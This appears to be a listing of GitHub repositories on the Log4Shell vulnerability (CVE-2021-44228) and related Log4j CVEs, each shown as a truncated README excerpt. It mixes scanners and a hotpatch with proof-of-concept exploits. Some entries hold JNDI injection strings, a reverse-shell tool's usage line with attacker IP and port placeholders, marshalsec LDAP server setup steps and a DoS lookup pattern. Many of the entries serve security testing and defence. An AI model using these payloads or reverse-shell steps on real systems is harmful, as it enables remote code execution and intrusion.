Log4j2-CVE-2021-44228

CVE-2021-44228 Remote Code Injection In Log4j https://twitter.com/jas502n/status/1468946197629272066 SpringBoot-pom.xml default use : xml org.springframework.boot spring-boot-starter-web mvn dependency:treejava INFO | | +- org.springframework.boot:spring-boot-starter-logging:jar:2.6.1:compile INF...

Log4j-PoC

Proof of Concept for Log4j CVE-2021-44228 Disclaimer This project is only for educational purposes. Introduction This is a proof of concept of the log4j rce adapted from HyCraftHD. Here are some links for the CVE-2021-44228: https://www.lunasec.io/docs/blog/log4j-zero-day...

Log4jShell-Scan

Overview log4j2 RCE vulnerability CVE-2021-44228 intranet scanner, can be used for vulnerability scanning under the condition of no internet access, helping enterprises quickly discover Log4Shell vulnerabilities. Modified from: https://github.com/fullhunt/log4j-scan JNDIMonitor from:...

CVE-2021-44228-Demo

CVE-2021-44228-Demo An example of remotely injecting code via RMI and LDAP using CVE-2021-44228. Exploit class from RMI Server loaded Hello, $jndi:rmi://127.0.0.1:1099/exploit Exploit class from LDAP Server loaded Hello, $jndi:ldap://127.0.0.1:1389/org.mazhuang.ldap.Exploit RmiServer and LdapServ...

hotpatch-for-apache-log4j2

Log4jHotPatch This is a tool which injects a Java agent into a running JVM process. The agent will attempt to patch the lookup method of all loaded org.apache.logging.log4j.core.lookup.JndiLookup instances to unconditionally return the string "Patched JndiLookup::lookup". It is designed to addres...

Log4J-RCE-Proof-Of-Concept

Log4J-RCE-Proof-Of-Concept CVE-2021-44228 This is a proof of concept of the log4j rce. Here are some links for the CVE-2021-44228: https://www.lunasec.io/docs/blog/log4j-zero-day https://github.com/advisories/GHSA-jfh8-c2jp-5v3q https://github.com/apache/logging-log4j2/pull/608...

Log4j2-CVE-2021-44228-revshell

Log4j2-CVE-2021-44228-revshell Usage For reverse shell: $ python3 Log4j2-revshell.py -M rev -u http://www.victimLog4j.xyz:8080 -l AttackerIP -p AttackerPort -hp HTTPServerPort For check exploitable: $ python3 Log4j2-revshell.py -M check -u http://www.victimLog4j.xyz:8080 -l AttackerIP -p...

Log4j_dos_CVE-2021-45105

Log4j2 DOS CVE-2021-45105 Poc $$::-$::-$$::-$ Versions Affected: all versions from 2.0-beta9 to 2.16.0 This application is based on Spring Boot web application vulnerable to CVE-2021-45105 It uses Log4j 2.16.0 Running the application Run it: Import the project in Java IDE as a maven project Run...

log4j2-CVE-2021-44228

This repository does not have a README...

CVE-2021-44228-PoC

CVE-2021-44228 Log4Shell Proof of Concept Apache Log4j2 =2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute...

checkmk-log4j-scanner

checkmk extension to check for log4j2 CVE-2021-44228 This Plugin wraps around logpresso/CVE-2021-44228-Scanner Apache License 2.0 How it works Run in 5 steps: 1. Find all .jar, .war, .ear, .aar files recursively. 2. Find META-INF/maven/org.apache.logging.log4j/log4j-core/pom.properties entry from...

log4j-poc

log4j-poc An LDAP RCE exploit for CVE-2021-44228 Log4Shell Description The demo Tomcat 8 server on port 8080 has a vulnerable app log4shell deployed on it and the server also vulnerable via user-agent attacks. The remote exploit app in this demo is based on that found at...

apache-tomcat-log4j

Log4j2 CVE-2021-44228 Vulnerability POC in Apache Tomcat Preview Setup Start tomcat server git clone cd apache-tomcat-10.0.14/bin startup.bat Serve the exploit class cd exploit py -m http.server 8888 cd exploit java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer...

log4j2-CVE-2021-44228

Sample Log4j2 vulnerable application CVE-2021-44228 Versions Affected: all versions from 2.0-beta9 to 2.14.1 This application is based on Spring Boot web application vulnerable to CVE-2021-44228 It uses Log4j 2.14.1 through spring-boot-starter-log4j2 2.6.1. Running the application Run it: Import...

CVE-2021-44228-Scanner

log4j2-scan is a single binary command-line tool for CVE-2021-44228 vulnerability scanning and mitigation patch. It also supports nested JAR file scanning and patch. It also detects CVE-2021-45046 log4j 2.15.0, CVE-2021-45105 log4j 2.16.0, CVE-2021-44832 log4j 2.17.0, CVE-2021-4104, CVE-2019-1757...

log4j-filescan

████████████████▀███████████████████████████████████████████████████████████████████ █▄─▄███─▄▄─█─▄▄▄▄█░█░████▄─▄█▀▀▀▀▀██▄─▄▄─█▄─▄█▄─▄███▄─▄▄─█─▄▄▄▄█─▄▄▄─██▀▄─██▄─▀█▄─▄█ ██─██▀█─██─█─██▄─█▄▄░██─▄█─██████████─▄████─███─██▀██─▄█▀█▄▄▄▄─█─███▀██─▀─███─█▄▀─██...

log4j2burpscanner

log4j2burpscanner CVE-2021-44228, log4j2 Burp plugin Java version. DNSlog uses non-dnslog.cn domain names. Effect demonstration: Target range the range is relatively slow, but internet assets are fine. The reason might be that the range handles other request headers poorly, or the headers are too...

Apache-Log4j2-RCE

Apache Log4j2 RCE Verification Environment Since from 2021.12.09 Some References https://mp.weixin.qq.com/s/yck74F9p9QhVw3ykzVoSg Setting up the Environment Maven introduces related packages and vulnerable version range org.apache.logging.log4j log4j-api 2.14.1 org.apache.logging.log4j log4j-core...

log4j_checker

Log4jchecker.py CVE-2021-44228 Description This Python3 script tries to look for servers vulnerable to CVE-2021-44228, also known as Log4Shell, a very critical vulnerability found in Log4j2 Java logging library. It doesn't rely on external DNS log servers to verify and validate the vulnerable...

log4j2burpscanner

테스트용일 뿐입니다. 누군가를 공격하지 마십시오. 테스트용일 뿐입니다. 누군가를 공격하지 마십시오. 테스트용일 뿐입니다. 누군가를 공격하지 마십시오. 커뮤니티 그룹 QR 코드가 만료되면 WeChat f-f0ng에 추가하고, 메모에 log4j2burpscanner를 입력하세요. 홈페이지 공개 계정only security을 팔로우하고, log4j2burpscanner를 회신하여 다운로드 주소를 받으세요.】 FAQ 자주 묻는 질문 사용 방법은? releases에서 최신 플러그인을 다운로드하세요. 简体中文|English 기본 dnsl...